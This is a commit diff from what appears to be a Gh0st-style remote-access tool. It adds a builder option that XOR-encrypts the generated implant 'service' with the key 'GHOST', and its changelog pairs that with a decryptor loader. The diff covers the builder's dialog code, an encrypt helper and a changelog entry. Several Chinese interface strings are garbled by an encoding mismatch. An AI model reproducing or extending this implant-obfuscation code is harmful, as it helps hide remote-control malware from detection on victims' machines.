feat: Support XOR encrypt for generating service
This commit is contained in:
@@ -301,6 +301,8 @@ reorg: Move commands to common/commands.h
|
||||
|
||||
在动态链接库中增加导出函数Run,以便通过rundll32.exe调用动态链接库。这种形式也是支持在线对DLL进行升级的。
|
||||
|
||||
2024.12.31
|
||||
生成服务时增加加密选项,当前支持XOR加密。配合使用解密程序来加载加密后的服务。
|
||||
|
||||
|
||||
# 沟通反馈
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
|
||||
#include <vcruntime_string.h>
|
||||
#include <string.h>
|
||||
#include <vector>
|
||||
|
||||
#ifndef _MAX_PATH
|
||||
#define _MAX_PATH 260
|
||||
@@ -198,3 +199,11 @@ typedef struct LOGIN_INFOR
|
||||
strcpy_s(moduleVersion, DLL_VERSION);
|
||||
}
|
||||
}LOGIN_INFOR;
|
||||
|
||||
inline void xor_encrypt_decrypt(unsigned char *data, int len, const std::vector<char>& keys) {
|
||||
for (char key : keys) {
|
||||
for (int i = 0; i < len; ++i) {
|
||||
data[i] ^= key;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Binary file not shown.
@@ -31,6 +31,7 @@ void CBuildDlg::DoDataExchange(CDataExchange* pDX)
|
||||
DDX_Text(pDX, IDC_EDIT_IP, m_strIP);
|
||||
DDX_Text(pDX, IDC_EDIT_PORT, m_strPort);
|
||||
DDX_Control(pDX, IDC_COMBO_EXE, m_ComboExe);
|
||||
DDX_Control(pDX, IDC_COMBO_ENCRYPT, m_ComboEncrypt);
|
||||
}
|
||||
|
||||
|
||||
@@ -135,7 +136,8 @@ void CBuildDlg::OnBnClickedOk()
|
||||
MessageBox(strSeverFile + "\r\n<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\"" + strSeverFile + "\"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>!");
|
||||
return CDialog::OnOK();
|
||||
}
|
||||
File.Write(szBuffer,dwFileSize);
|
||||
Encrypt(szBuffer, dwFileSize, m_ComboEncrypt.GetCurSel());
|
||||
File.Write(szBuffer, dwFileSize);
|
||||
File.Close();
|
||||
delete[] szBuffer;
|
||||
MessageBox("<EFBFBD><EFBFBD><EFBFBD>ɳɹ<EFBFBD>!<21>ļ<EFBFBD>λ<EFBFBD><CEBB>:\r\n"+ strSeverFile);
|
||||
@@ -182,6 +184,24 @@ BOOL CBuildDlg::OnInitDialog()
|
||||
m_ComboExe.InsertString(CLIENT_TYPE_MODULE, "ServerDll.dll");
|
||||
m_ComboExe.SetCurSel(0);
|
||||
|
||||
m_ComboEncrypt.InsertString(0, "<EFBFBD><EFBFBD>");
|
||||
m_ComboEncrypt.InsertString(1, "XOR");
|
||||
m_ComboEncrypt.SetCurSel(0);
|
||||
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
// <20>쳣: OCX <20><><EFBFBD><EFBFBD>ҳӦ<D2B3><D3A6><EFBFBD><EFBFBD> FALSE
|
||||
}
|
||||
|
||||
Buffer CBuildDlg::Encrypt(BYTE* buffer, int len, int method) {
|
||||
switch (method)
|
||||
{
|
||||
case 0:// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
break;
|
||||
case 1: // XOR
|
||||
xor_encrypt_decrypt(buffer, len, { 'G', 'H', 'O', 'S', 'T' });
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
return Buffer();
|
||||
}
|
||||
|
||||
@@ -1,5 +1,7 @@
|
||||
#pragma once
|
||||
|
||||
#include "Buffer.h"
|
||||
|
||||
|
||||
// CBuildDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||
|
||||
@@ -23,5 +25,7 @@ public:
|
||||
CString m_strPort;
|
||||
afx_msg void OnBnClickedOk();
|
||||
virtual BOOL OnInitDialog();
|
||||
Buffer Encrypt(BYTE* buffer, int len, int method);
|
||||
CComboBox m_ComboExe;
|
||||
CComboBox m_ComboEncrypt;
|
||||
};
|
||||
|
||||
Binary file not shown.
Reference in New Issue
Block a user